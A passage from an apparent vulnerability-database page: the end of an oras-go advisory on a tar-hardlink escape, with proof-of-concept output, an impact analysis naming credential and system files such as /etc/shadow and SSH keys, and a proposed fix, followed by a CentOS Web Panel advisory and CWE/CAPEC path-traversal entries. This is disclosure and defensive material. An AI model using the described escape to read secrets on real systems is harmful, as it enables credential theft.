(SAME)\ncat extract/payload.tar.gz/evil_cwd_link # \u2192 \"TOP SECRET FROM CWD\"\n```\n\nObserved output:\n\n```\nevil_cwd_link (inside extract dir): inode=6554160\nvictim.secret (in invoker CWD): inode=6554160\n*** ESCAPE CONFIRMED ***\nReading through the extract-dir hardlink yields the CWD file contents:\nTOP SECRET FROM CWD\n```\n\nA library-level regression test is also provided (`poc_test.go`) that drops into `content/file/utils_test.go` and runs via `go test ./content/file/... -run TestPoC` \u2014 output shows identical inode match for consumers of the library API.\n\n---\n\n## Impact\n\n**Primary: arbitrary-CWD-file read primitive.** An attacker-controlled OCI artifact, when pulled by a victim using the `oras` CLI or any Go program using `oras-go/v2/content/file`, can create a hardlink inside the victim\u0027s extract tree pointing to an arbitrary file in the victim\u0027s process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file\u0027s contents verbatim.\n\n**Secondary: inode-sharing tampering primitive.** Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the \"writes inside the extract dir are confined\" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.\n\n**High-severity chains:**\n\n- **CI pipelines** where `oras pull` runs from a project workspace containing secrets/credentials (`.env`, `.git/config`, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.\n- **Container orchestration** where the extract dir is bind-mounted into a lower-trust container while the pull-invoker\u0027s CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.\n- **Kubernetes operators / Flux source-controller** using `oras-go` to fetch artifacts; their CWD is typically `/` or `/root` \u2014 very sensitive.\n- **Multi-tenant registry proxies** that use `oras-go` to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.\n\n**Not affected:**\n\n- `oras push` (tarball creation side): `tarDirectory` in the same file explicitly skips hardlink generation (line 65 comment: `\"We don\u0027t support hard links and treat it as regular files\"`), so pushed content cannot trigger this on the server.\n- Symlink extraction path (`TypeSymlink`): `os.Symlink` stores the target string verbatim and does not CWD-resolve at creation time. The current `ensureLinkPath` return-of-`target` is correct for symlinks (the existing validation correctly models the symlink-follow path).\n\n### Attack-surface boundary (`fs.protected_hardlinks`)\n\nOn Linux with `fs.protected_hardlinks=1` (default on modern distros), `link(2)` additionally requires the linking user to have READ + WRITE permission on the source file (per `may_linkat()` in the kernel). Verified on Ubuntu 24.04: as non-root, `ln /etc/passwd /tmp/x` returns `EPERM`, and the same via the oras PoC path returns `link passwd /tmp/.../evil_passwd: operation not permitted`.\n\n**So the attacker cannot use this bug to read arbitrary root-owned files (e.g., `/etc/shadow`) when the victim invokes `oras pull` as a regular user.** The attack surface depends on the invocation context:\n\n| Invocation context | Reachable file classes |\n|---|---|\n| `oras pull` run by a regular user | Any file the user OWNS or has write access to in the process CWD: `.env`, `.git/config`, `.aws/credentials`, `~/.ssh/config`, project-local secrets, CI workspace files. |\n| `oras pull` run as root (systemd without `User=`, container entrypoint default root, Kubernetes operator) | **Every file on the host filesystem.** `/etc/shadow`, `/root/.ssh/id_rsa`, bind-mounted host paths, service private keys. |\n\nThe user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.\n\n---\n\n## Proposed fix\n\nChange `ensureLinkPath` to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the `TypeLink` case use the resolved path.\n\n```go\n// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved\n// path to avoid CWD-resolution mismatch at os.Link time.\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {\n path := target\n if !filepath.IsAbs(target) {\n path = filepath.Join(filepath.Dir(link), target)\n }\n if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {\n return \"\", \"\", err\n }\n return target, path, nil\n}\n```\n\n```go\ncase tar.TypeLink:\n var absTarget string\n if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n err = os.Link(absTarget, filePath)\n }\ncase tar.TypeSymlink:\n var symTarget string\n symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)\n if err != nil { return err }\n if err = os.Symlink(symTarget, filePath); err != nil { ... }\n```\n\n**Regression test to add:**\n\nExtend `Test_extractTarDirectory_HardLink` with a third sub-test that:\n1. Creates a sentinel file in the test\u0027s `t.TempDir()` (or an explicitly `os.Chdir`-entered directory) with a known name, e.g. `sentinel.txt`.\n2. Builds a tarball containing a `TypeLink` entry with `Linkname: \"sentinel.txt\"` (relative).\n3. Extracts.\n4. Asserts either `extractTarDirectory` returned an error, OR the resulting hardlink\u0027s inode does NOT match the sentinel\u0027s inode.",
"id": "GHSA-fxhp-mv3v-67qp",
"modified": "2026-07-01T21:48:04Z",
"published": "2026-07-01T21:48:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-fxhp-mv3v-67qp"
},
{
"type": "WEB",
"url": "https://github.com/oras-project/oras-go/commit/b11f777f8d405c5023c4b307cfdc5068dfc3d406"
},
{
"type": "PACKAGE",
"url": "https://github.com/oras-project/oras-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution"
}
GHSA-FXMP-XW72-5HF2
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2022-05-24 16:51In CentOS-WebPanel.com (aka CWP) CentOS Web Panel 0.9.8.840, File and Directory Information Exposure in filemanager allows attackers to enumerate users and check for active users of the application by reading /tmp/login.log.
{
"affected": [],
"aliases": [
"CVE-2019-13385"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-26T13:15:00Z",
"severity": "MODERATE"
},
"details": "In CentOS-WebPanel.com (aka CWP) CentOS Web Panel 0.9.8.840, File and Directory Information Exposure in filemanager allows attackers to enumerate users and check for active users of the application by reading /tmp/login.log.",
"id": "GHSA-fxmp-xw72-5hf2",
"modified": "2022-05-24T16:51:29Z",
"published": "2022-05-24T16:51:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13385"
},
{
"type": "WEB",
"url": "https://centos-webpanel.com/changelog-cwp7"
},
{
"type": "WEB",
"url": "https://github.com/i3umi3iei3ii/CentOS-Control-Web-Panel-CVE/blob/master/CVE-2019-13385.md"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/153877/CentOS-Control-Web-Panel-0.9.8.840-User-Enumeration.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.